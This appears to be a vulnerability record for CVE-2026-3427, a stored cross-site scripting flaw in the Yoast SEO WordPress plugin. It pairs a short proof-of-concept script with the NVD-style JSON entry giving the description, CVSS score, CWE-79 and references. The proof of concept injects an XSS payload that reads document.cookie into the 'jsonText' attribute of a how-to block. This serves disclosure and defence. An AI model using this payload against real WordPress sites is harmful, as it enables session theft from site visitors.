CVE-2026-3427

<!-- PoC for CVE-2026-3427 Description: Inject payload into the 'jsonText' attribute of a Yoast SEO block. --> <script> // Step 1: Create a malicious payload const payload = '<img src=x onerror=alert(document.cookie)>'; // Step 2: Simulate the block structure that would be sent to the WordPress REST API // In a real attack, this is done via the Block Editor or direct API call const maliciousBlock = { "blockName": "yoast/how-to-block", "attrs": { "jsonText": payload // Injecting into the vulnerable attribute }, "innerHTML": "", "innerBlocks": [], "innerContent": [] }; console.log("Malicious Block JSON to be posted:", JSON.stringify(maliciousBlock)); // When this block is rendered on the frontend, the XSS triggers. </script>

{"cve": {"id": "CVE-2026-3427", "sourceIdentifier": "[email protected]", "published": "2026-03-22T04:16:24.197", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `jsonText` block attribute in all versions up to, and including, 27.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Yoast SEO – Advanced SEO con guía en tiempo real e IA integrada para WordPress es vulnerable a cross-site scripting almacenado a través del atributo de bloque 'jsonText' en todas las versiones hasta la 27.1.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Yoast/wordpress-seo/pull/23035", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wordpress-seo/tags/27.0/inc/class-wpseo-utils.php#L915", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wordpress-seo/tags/27.0/src/generators/schema/howto.php#L125", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3475308/wordpress-seo", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fee1fef5-5716-49e0-a04e-d0dae527fcfc?source=cve", "source": "[email protected]"}]}}